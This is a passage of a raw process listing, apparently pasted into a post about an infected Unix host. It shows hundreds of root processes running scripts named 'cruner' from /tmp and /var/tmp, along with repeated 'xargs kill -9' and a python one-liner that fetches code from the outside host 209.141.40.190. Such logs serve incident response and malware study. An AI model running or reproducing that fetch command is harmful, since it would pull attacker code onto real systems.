0:02 sh /tmp/cruner > root 21116 20817 0 15:44:19 ? 0:00 bash -sh > root 18804 16458 0 15:45:46 ? 0:00 xargs kill -9 > root 15108 26821 0 15:44:05 ? 0:00 bash -sh > root 28855 18881 0 15:45:08 ? 0:00 bash -sh > root 3771 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8302 19518 0 15:45:58 ? 0:00 bash -sh > root 27715 14809 0 15:45:23 ? 0:00 sleep 60 > root 25268 20911 0 15:45:07 ? 0:00 bash -sh > root 12109 12103 0 15:43:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7420 22398 0 15:45:09 ? 0:00 bash -sh > root 6593 1 0 20:06:25 ? 0:00 sh /var/tmp/cruner > root 25834 5300 0 - ? 0:00 <defunct> > root 17699 29805 0 15:46:08 ? 0:00 bash -sh > root 16274 11020 0 - ? 0:00 <defunct> > root 25122 11105 0 - ? 0:00 <defunct> > root 26936 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6372 8629 0 - ? 0:00 <defunct> > root 21207 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24570 1263 0 15:44:40 ? 0:00 bash -sh > root 25524 11145 0 - ? 0:00 <defunct> > root 1917 23495 0 15:46:06 ? 0:00 bash -sh > root 13755 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6381 18070 0 - ? 0:00 <defunct> > root 9816 13458 0 15:45:41 ? 0:00 sleep 60 > root 6565 22054 0 15:46:03 ? 0:00 xargs kill -9 > root 4058 14771 0 - ? 0:00 <defunct> > root 19784 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17011 11264 0 15:44:48 ? 0:00 bash -sh > root 10769 22283 0 - ? 0:00 <defunct> > root 27557 27510 0 15:46:10 ? 0:00 sh /var/tmp/cruner > root 2539 20774 0 15:46:06 ? 0:00 xargs kill -9 > root 16906 22348 0 - ? 0:00 <defunct> > root 16057 16219 0 - ? 0:00 <defunct> > root 4653 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11142 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10297 9354 0 - ? 0:00 <defunct> > root 21881 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24986 23203 0 - ? 0:00 <defunct> > root 7962 18274 0 15:45:49 ? 0:00 sleep 60 > root 12919 1 0 01:24:53 ? 0:00 sh /var/tmp/cruner > root 7686 13779 0 15:45:20 ? 0:00 sleep 60 > root 9468 22302 0 15:42:32 ? 0:00 bash -sh > root 6540 4869 0 15:43:37 ? 0:00 bash -sh > root 1348 15068 0 - ? 0:00 <defunct> > root 791 12892 0 15:45:58 ? 0:00 sleep 60 > root 5247 9099 0 - ? 0:00 <defunct> > root 23660 14170 0 15:45:47 ? 0:00 xargs kill -9 > root 18926 29967 0 - ? 0:00 <defunct> > root 25476 26272 0 15:44:54 ? 0:00 bash -sh > root 26032 19248 0 15:45:47 ? 0:00 sleep 60 > root 25341 10741 0 - ? 0:00 <defunct> > root 576 1 0 23:13:28 ? 0:00 sh /var/tmp/cruner > root 27693 339 0 15:42:51 ? 0:00 bash -sh > root 10446 7956 0 - ? 0:00 <defunct> > root 21715 10008 0 15:45:26 ? 0:00 bash -sh > root 12911 3396 0 15:45:21 ? 0:00 sleep 60 > root 3137 13200 0 15:43:54 ? 0:00 bash -sh > root 3572 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11677 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11163 13523 0 - ? 0:00 <defunct> > root 21152 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29779 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22791 12899 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 25023 15599 0 - ? 0:00 <defunct> > root 22701 7374 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25024 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19268 7046 0 15:45:42 ? 0:00 sleep 60 > root 3242 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 14290 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 765 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25796 17015 0 15:44:32 ? 0:00 bash -sh > root 1772 11392 0 15:46:06 ? 0:00 sh /tmp/cruner > root 11014 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24097 10518 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 25489 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18797 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 691 7323 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24378 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19224 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17177 26350 0 15:46:08 ? 0:00 sleep 60 > root 9213 24437 0 15:44:14 ? 0:00 bash -sh > root 27909 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24717 21133 0 - ? 0:00 <defunct> > root 23540 2386 0 - ? 0:00 <defunct> > root 20381 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25529 25869 0 15:45:23 ? 0:00 sleep 60 > root 8127 14637 0 15:46:07 ? 0:00 bash -sh > root 11114 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10363 4731 0 - ? 0:00 <defunct> > root 11801 21636 0 15:45:59 ? 0:00 bash -sh > root 21233 21228 0 15:43:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2494 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16018 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2375 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26642 854 0 15:44:59 ? 0:00 xargs kill -9 > root 9019 7089 0 - ? 0:00 <defunct> > root 19440 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1282 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25356 15859 0 15:45:47 ? 0:00 xargs kill -9 > root 8269 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6035 10269 0 15:45:54 ? 0:00 sleep 60 > root 19157 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 23356 16971 0 15:43:23 ? 0:00 bash -sh > root 12320 5483 0 - ? 0:00 <defunct> > root 2976 19192 0 15:44:46 ? 0:00 bash -sh > root 18803 24846 0 15:43:03 ? 0:00 bash -sh > root 19528 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22709 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11941 12097 0 15:44:51 ? 0:00 bash -sh > root 26969 11484 0 15:44:41 ? 0:00 bash -sh > root 2944 16723 0 15:45:35 ? 0:00 bash -sh > root 18921 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29130 16297 0 15:44:55 ? 0:00 bash -sh > root 6045 26325 0 15:45:54 ? 0:00 sleep 60 > root 13302 23012 0 15:45:41 ? 0:00 sleep 60 > root 24874 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14238 26193 0 15:43:56 ? 0:00 bash -sh > root 24638 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28027 7531 0 15:43:41 ? 0:00 bash -sh > root 23461 23851 0 - ? 0:00 <defunct> > root 20866 19916 0 15:44:07 ? 0:00 bash -sh > root 20153 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 27314 27312 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18202 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17543 21159 0 15:43:56 ? 0:00 bash -sh > root 14890 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 2940 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27277 16227 0 15:45:53 ? 0:00 sh /tmp/cruner > root 9206 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4878 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13473 20189 0 15:45:37 ? 0:00 bash -sh > root 25864 16666 0 15:46:10 ? 0:00 bash -sh > root 21031 29436 0 15:46:09 ? 0:00 sleep 60 > root 20041 860 0 15:43:57 ? 0:00 bash -sh > root 28213 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1419 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 234 25882 0 15:45:48 ? 0:00 sleep 60 > root 24088 25245 0 - ? 0:00 <defunct> > root 3051 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25797 25796 0 15:44:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11589 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27253 12006 0 - ? 0:00 <defunct> > root 2577 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7202 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16725 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5076 18334 0 15:44:50 ? 0:00 bash -sh > root 17639 3241 0 15:46:00 ? 0:00 sh /tmp/cruner > root 13756 13647 0 15:45:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27639 17180 0 15:45:18 ? 0:00 sleep 60 > root 23414 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19091 18959 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18773 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21210 20876 0 15:45:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 440 17868 0 - ? 0:00 <defunct> > root 19801 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2313 256 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 27751 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6916 21742 0 - ? 0:00 <defunct> > root 2552 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1892 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26285 22204 0 15:45:34 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 731 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9698 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22977 1403 0 15:45:23 ? 0:00 bash -sh > root 18070 28169 0 15:44:57 ? 0:00 bash -sh > root 13661 2138 0 15:46:08 ? 0:00 sleep 60 > root 6986 23903 0 15:44:51 ? 0:00 bash -sh > root 17257 23152 0 15:44:52 ? 0:00 bash -sh > root 17353 19090 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25275 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5540 5298 0 15:43:08 ? 0:00 bash -sh > root 23339 22187 0 15:43:04 ? 0:00 bash -sh > root 29077 2759 0 15:44:37 ? 0:00 bash -sh > root 1804 1798 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28917 22943 0 15:45:34 ? 0:00 sleep 60 > root 4264 9932 0 - ? 0:00 <defunct> > root 27664 14096 0 15:46:02 ? 0:00 bash -sh > root 662 9241 0 - ? 0:00 <defunct> > root 25272 1143 0 15:45:07 ? 0:00 bash -sh > root 14743 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19553 5808 0 15:45:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 781 20085 0 - ? 0:00 <defunct> > root 9309 14771 0 - ? 0:00 <defunct> > root 1053 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 27261 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25504 8169 0 - ? 0:00 <defunct> > root 5270 5689 0 15:45:28 ? 0:00 sleep 60 > root 21583 10343 0 - ? 0:00 <defunct> > root 1834 7441 0 - ? 0:00 <defunct> > root 5807 14081 0 15:45:20 ? 0:00 bash -sh > root 22270 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27320 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17719 17622 0 15:43:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7608 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10610 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9155 745 0 15:45:59 ? 0:00 sleep 60 > root 11289 9455 0 15:46:07 ? 0:00 sleep 60 > root 22902 14844 0 - ? 0:00 <defunct> > root 27976 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12323 12229 0 - ? 0:00 <defunct> > root 6435 1235 0 - ? 0:00 <defunct> > root 12220 10649 0 - ? 0:00 <defunct> > root 11533 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17182 11275 0 - ? 0:00 <defunct> > root 17717 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15404 11729 0 15:45:46 ? 0:00 bash -sh > root 15871 16563 0 15:45:29 ? 0:00 sleep 60 > root 10521 10477 0 - ? 0:00 <defunct> > root 26495 27049 0 15:46:10 ? 0:00 sh /var/tmp/cruner > root 8573 23328 0 - ? 0:00 <defunct> > root 10079 6749 0 - ? 0:00 <defunct> > root 29638 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3819 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17203 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3372 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19923 19912 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16054 1602 0 - ? 0:00 <defunct> > root 28280 3852 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 28262 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22648 15019 0 - ? 0:00 <defunct> > root 2402 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21626 3161 0 15:43:14 ? 0:00 bash -sh > root 17415 17245 0 15:45:42 ? 0:00 xargs kill -9 > root 18617 8025 0 15:44:26 ? 0:00 bash -sh > root 6324 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8185 17839 0 15:45:10 ? 0:00 bash -sh > root 29961 4370 0 15:42:51 ? 0:00 bash -sh > root 29577 10839 0 15:46:02 ? 0:00 bash -sh > root 21958 1 0 21:11:51 ? 0:00 sh /var/tmp/cruner > root 22492 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8672 6284 0 15:45:20 ? 0:00 bash -sh > root 15756 21 0 15:46:00 ? 0:00 sleep 60 > root 4397 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9271 921 0 - ? 0:00 <defunct> > root 26260 22261 0 15:45:18 ? 0:00 bash -sh > root 19197 6964 0 15:45:29 ? 0:00 sleep 60 > root 9532 28426 0 15:45:59 ? 0:00 sleep 60 > root 659 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2312 2344 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 22566 26859 0 15:45:06 ? 0:00 bash -sh > root 26138 20355 0 - ? 0:00 <defunct> > root 25903 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16491 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28513 18516 0 15:46:02 ? 0:00 sleep 60 > root 15169 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24339 4453 0 - ? 0:00 <defunct> > root 29321 25409 0 - ? 0:00 <defunct> > root 24207 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13850 17551 0 15:45:29 ? 0:00 sleep 60 > root 26854 2281 0 - ? 0:00 <defunct> > root 4189 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6695 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10842 29713 0 15:45:41 ? 0:00 sleep 60 > root 24191 8792 0 - ? 0:00 <defunct> > root 24976 21487 0 - ? 0:00 <defunct> > root 23034 5436 0 15:45:23 ? 0:00 bash -sh > root 188 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17504 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13705 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22120 273 0 15:46:05 ? 0:00 bash -sh > root 6289 20397 0 - ? 0:00 <defunct> > root 16932 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9492 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1309 19885 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27220 11754 0 - ? 0:00 <defunct> > root 14342 8762 0 15:45:29 ? 0:00 sleep 60 > root 7493 7482 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25109 1473 0 15:46:10 ? 0:00 sleep 60 > root 17087 17071 0 - ? 0:00 <defunct> > root 23427 6874 0 15:45:47 ? 0:00 bash -sh > root 127 9554 0 - ? 0:00 <defunct> > root 7253 8305 0 - ? 0:00 <defunct> > root 12202 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23184 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11667 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 26881 8558 0 15:45:53 ? 0:00 bash -sh > root 19166 23700 0 15:44:18 ? 0:00 bash -sh > root 19349 3332 0 15:46:00 ? 0:00 sleep 60 > root 4674 17547 0 15:44:50 ? 0:00 bash -sh > root 9277 17702 0 15:46:03 ? 0:00 sleep 60 > root 22342 1287 0 15:46:09 ? 0:00 bash -sh > root 16706 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1522 16246 0 15:45:48 ? 0:00 sleep 60 > root 26538 13938 0 15:45:18 ? 0:00 sleep 60 > root 14796 21765 0 - ? 0:00 <defunct> > root 10723 24337 0 15:45:28 ? 0:00 sleep 60 > root 13667 13494 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 19670 19668 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28017 3128 0 15:46:10 ? 0:00 bash -sh > root 9104 8321 0 15:43:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11113 21751 0 - ? 0:00 <defunct> > root 840 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 27876 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16465 7320 0 15:45:42 ? 0:00 sleep 60 > root 6646 6632 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12413 28075 0 15:46:08 ? 0:00 bash -sh > root 12953 6924 0 15:44:52 ? 0:00 bash -sh > root 3410 25080 0 15:45:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12025 28064 0 - ? 0:00 <defunct> > root 16011 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 12547 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 20898 25351 0 15:45:42 ? 0:00 sh /var/tmp/cruner > root 19844 17262 0 - ? 0:00 <defunct> > root 22855 6806 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 7153 17156 0 - ? 0:00 <defunct> > root 3238 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22728 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26693 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 23510 4387 0 15:43:23 ? 0:00 bash -sh > root 19659 28521 0 15:44:53 ? 0:00 bash -sh > root 28243 15195 0 - ? 0:00 <defunct> > root 26890 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26295 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2820 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27951 10102 0 15:45:53 ? 0:00 sleep 60 > root 12754 20397 0 - ? 0:00 <defunct> > root 6197 17620 0 15:45:20 ? 0:00 sleep 60 > root 15666 17910 0 15:45:11 ? 0:00 sh /var/tmp/cruner > root 23854 13821 0 15:44:08 ? 0:00 bash -sh > root 12216 12204 0 - ? 0:00 <defunct> > root 4856 24644 0 15:45:58 ? 0:00 sleep 60 > root 6430 12394 0 15:45:35 ? 0:00 bash -sh > root 21897 2476 0 15:45:06 ? 0:00 bash -sh > root 26909 22549 0 15:46:10 ? 0:00 /bin/ksh -p /bin/kill -9 > root 26659 9303 0 15:45:13 ? 0:00 bash -sh > root 11090 11044 0 15:45:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8757 12253 0 15:46:03 ? 0:00 bash -sh > root 21351 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17335 1646 0 15:46:08 ? 0:00 sleep 60 > root 22142 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23777 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6097 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19012 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29056 21865 0 15:45:24 ? 0:00 sleep 60 > root 4196 3792 0 15:45:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2105 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21929 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21304 11464 0 15:46:09 ? 0:00 bash -sh > root 6443 11391 0 15:45:25 ? 0:00 bash -sh > root 9362 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23052 23042 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16569 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7564 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23487 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29338 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24743 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1469 25611 0 15:45:24 ? 0:00 sleep 60 > root 9367 26581 0 15:46:07 ? 0:00 xargs kill -9 > root 25201 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11952 19771 0 15:46:07 ? 0:00 sleep 60 > root 19795 28487 0 15:44:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2407 20509 0 15:45:00 ? 0:00 xargs kill -9 > root 25403 23813 0 - ? 0:00 <defunct> > root 25774 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4657 15443 0 15:44:42 ? 0:00 bash -sh > root 23948 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6946 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12773 22967 0 15:45:21 ? 0:00 sleep 60 > root 8408 17905 0 15:45:15 ? 0:00 bash -sh > root 25248 8883 0 - ? 0:00 <defunct> > root 23185 3753 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 25329 15778 0 15:45:13 ? 0:00 sleep 60 > root 12556 7808 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16214 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28264 13002 0 15:46:02 ? 0:00 sh /tmp/cruner > root 13457 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 18072 21683 0 15:45:32 ? 0:00 bash -sh > root 28353 26960 0 - ? 0:00 <defunct> > root 23264 16449 0 15:45:17 ? 0:00 sleep 60 > root 16568 9305 0 15:45:26 ? 0:00 bash -sh > root 17605 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17723 11970 0 15:44:57 ? 0:00 bash -sh > root 27468 21425 0 - ? 0:00 <defunct> > root 7556 7799 0 15:45:54 ? 0:00 sleep 60 > root 15904 11711 0 15:45:37 ? 0:00 xargs kill -9 > root 16826 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12501 8540 0 - ? 0:00 <defunct> > root 21148 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29291 965 0 15:45:27 ? 0:00 sleep 60 > root 20547 8093 0 15:45:17 ? 0:00 bash -sh > root 953 29545 0 15:44:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16321 4836 0 15:46:08 ? 0:00 xargs kill -9 > root 7795 971 0 - ? 0:00 <defunct> > root 13903 13623 0 - ? 0:00 <defunct> > root 2099 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21224 21640 0 15:45:38 ? 0:00 sleep 60 > root 254 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29313 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12531 27361 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26698 8130 0 - ? 0:00 <defunct> > root 26756 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15651 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14269 19492 0 15:45:59 ? 0:00 bash -sh > root 1776 109 0 15:44:02 ? 0:00 bash -sh > root 27665 27647 0 15:44:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19460 11809 0 - ? 0:00 <defunct> > root 8001 7990 0 15:42:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13995 7728 0 - ? 0:00 <defunct> > root 1097 13184 0 15:45:44 ? 0:00 bash -sh > root 27837 6462 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 15616 14535 0 15:43:33 ? 0:00 bash -sh > root 22504 22480 0 15:45:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14203 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26935 26233 0 15:43:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22610 21129 0 - ? 0:00 <defunct> > root 17648 15715 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8899 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21999 22923 0 - ? 0:00 <defunct> > root 26712 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28321 3078 0 15:44:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5115 17969 0 - ? 0:00 <defunct> > root 10569 11895 0 15:45:36 ? 0:00 sleep 60 > root 17822 25259 0 15:45:22 ? 0:00 bash -sh > root 10084 10052 0 15:45:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13074 7009 0 15:45:55 ? 0:00 sleep 60 > root 21088 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 8477 7228 0 - ? 0:00 <defunct> > root 18952 17953 0 - ? 0:00 <defunct> > root 15355 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16017 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7479 27624 0 15:46:07 ? 0:00 bash -sh > root 13362 13385 0 - ? 0:00 <defunct> > root 272 23010 0 15:45:14 ? 0:00 bash -sh > root 29184 28914 0 15:45:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12819 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25258 21256 0 15:43:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25098 22316 0 - ? 0:00 <defunct> > root 15016 6807 0 15:45:11 ? 0:00 sh /tmp/cruner > root 7816 7815 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17894 11189 0 15:45:42 ? 0:00 sleep 60 > root 9712 25503 0 15:45:31 ? 0:00 bash -sh > root 12566 2786 0 15:45:11 ? 0:00 xargs kill -9 > root 22537 23428 0 15:45:30 ? 0:00 sleep 60 > root 12622 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27774 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25409 8098 0 15:45:13 ? 0:00 bash -sh > root 6043 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26050 18783 0 15:45:17 ? 0:00 sleep 60 > root 4070 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 41 6949 0 15:44:11 ? 0:00 bash -sh > root 3509 3504 0 15:43:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7103 601 0 15:46:07 ? 0:00 bash -sh > root 14965 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16251 20000 0 15:44:52 ? 0:00 bash -sh > root 6292 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 289 11572 0 15:45:24 ? 0:00 bash -sh > root 17079 10352 0 - ? 0:00 <defunct> > root 21778 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21900 4489 0 15:45:17 ? 0:00 sleep 60 > root 24141 10860 0 - ? 0:00 <defunct> > root 14596 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15195 9722 0 15:45:46 ? 0:00 bash -sh > root 14081 1 